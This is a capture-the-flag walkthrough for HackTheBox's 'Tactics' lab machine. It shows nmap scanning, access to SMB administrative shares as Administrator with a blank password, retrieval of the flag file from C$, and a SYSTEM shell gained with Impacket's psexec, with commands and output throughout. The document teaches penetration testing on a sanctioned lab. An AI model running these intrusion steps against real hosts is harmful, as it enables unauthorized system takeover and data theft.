CHALLENGE INFORMATION
 | Platform: HackTheBox Collection: Starting Point Tier: 1 Machine: Tactics Released: 06/10/2021 |
MACHINE SYNOPSIS
Tactics is a very easy Windows machine that features misconfigured SMB shares where an Administrator account without a password allows access to administrative shares. This misconfiguration can be abused manually with the SMB command line interface to retrieve sensitive files, or Impacket’s psexec can be used to obtain a SYSTEM-level shell.
Preparations
There are several ways to connect to the target machine. For this walkthrough, we will use the provided pwnbox.
Once our connection is established, we spawn the target machine.
Additionally – though not required – we can set a local shell variable containing the target host’s IP address. Once set, we access it by prepending a $ to the variable name.
user@kali:~$ rhost=<target-hosts-ip>
user@kali:~$ echo $rhost
<target-hosts-ip>
user@kali:~$We can remove the variable with the unset command when it is no longer needed.
user@kali:~$ unset rhostTask-1
Question: Which Nmap switch can we use to enumerate machines when our ping ICMP packets are blocked by the Windows firewall?
-Pn
We begin with a quick connectivity test.
user@kali:~$ ping $rhost -c 4
...
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
...
user@kali:~$Running nmap without options does not work, but it does give us a hint.
user@kali:~$ nmap $rhost
...
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
...
user@kali:~$Let us try it.
user@kali:~$ nmap -Pn $rhost
...
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
...
user@kali:~$Three TCP ports appear to be open: 135, 139, and 445.
Let us check these services for additional information.
user@kali:~$ nmap -p135,139,445 -Pn -sC -sV $rhost
...
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...
Host script results:
...
| smb2-security-mode:
...
|_ Message signing enabled but not required
...
user@kali:~$Task-2
Question: What does the 3-letter acronym SMB stand for?
server message block
A quick online search yields the answer.
Task-3
Question: What port does SMB use to operate at?
445
As with the previous task, online research provides the answer.
Task-4
Question: What command line argument do you give to ‘smbclient’ to list available shares?
-L
Using the command’s built-in --help option should give us the information we need.
user@kali:~$ smbclient --help
Usage: smbclient [OPTIONS] service <password>
...
-L, --list=HOST Get a list of shares available on a host
...
user@kali:~$We try the default Administrator account, hoping it is misconfigured – that is, requiring no password for authentication. When prompted for the password, we simply press ENTER.
user@kali:~$ smbclient -L $rhost -U Administrator
Password for [WORKGROUP\Administrator]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
user@kali:~$Three shares are listed on the target machine.
Task-5
Question: What character at the end of a share name indicates it’s an administrative share?
$
Looking at the shares reported in Task-4, it must be $. Let us try to access the shares:
user@kali:~$ smbclient //$rhost/ADMIN$ -U Administrator
Password for [WORKGROUP\Administrator]:
...
smb: \> ls
...
$Reconfig$ D 0 ...
ADFS D 0 ...
appcompat D 0 ...
apppatch D 0 ...
...
smb: \> exit
user@kali:~$The ADMIN$ share appears to contain Windows system files. What about the other two?
We have success when we explore the C$ share. We find the flag at \\$rhost\C\$\Users\Administrator\Desktop\flag.txt and download it to our attacker machine.
user@kali:~$ smbclient //$rhost/C$ -U Administrator
Password for [WORKGROUP\Administrator]:
...
smb: \> ls
...
Users DR 0 ...
...
smb: \> cd Users
smb: \Users\> ls
...
Administrator D 0 ...
...
smb: \Users\> cd Administrator
smb: \Users\Administrator\> ls
...
Desktop DR 0 ...
...
smb: \Users\Administrator\> cd Desktop
smb: \Users\Administrator\Desktop\> ls
...
flag.txt A 32 ...
...
smb: \Users\Administrator\Desktop\> get flag.txt
...
smb: \Users\Administrator\Desktop\> exit
user@kali:~$Task-6
Question: Which Administrative share is accessible on the box that allows users to view the whole file system?
C$
The answer is straightforward, as we used this share in Task-5 to download the flag.
Task-7
Question: What command can we use to download the files we find on the SMB Share?
get
We used this same command to download the flag in Task-5.
Task-8
Question: Which tool that is part of the Impacket collection can be used to get an interactive shell on the system?
psexec.py
Alternatively, we could use Impacket’s PSexec tool – impacket-psexec – to spawn a shell in the ADMIN$ share. Accessing the flag then becomes straightforward.
user@kali:~$ impacket-psexec administrator@$rhost
...
Password:
[*] Requesting shares on 10.129.118.218.....
[*] Found writable share ADMIN$
[*] Uploading file qbvrkWIQ.exe
[*] Opening SVCManager on 10.129.118.218.....
[*] Creating service UNVK on 10.129.118.218.....
[*] Starting service UNVK.....
...
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>cd ..
C:\Windows>cd \Users\
C:\Users>cd Administrator
C:\Users\Administrator>cd Desktop
C:\Users\Administrator\Desktop>dir
...
... 32 flag.txt
...
C:\Users\Administrator\Desktop>type flag.txt
C:\Users\Administrator\Desktop> Submit The Flag
Question: Submit root flag
<redacted-flag>
Displaying the downloaded flag file from Task-5 should suffice.
user@kali:~$ cat flag.txt
<redacted-flag>
user@kali:~$Alternatively, we could use Impacket’s PSexec tool as we did in Task-8.
Congratulations! We have completed the challenge. All that remains is to terminate the target box – if it has not been terminated automatically – before proceeding to the next challenge.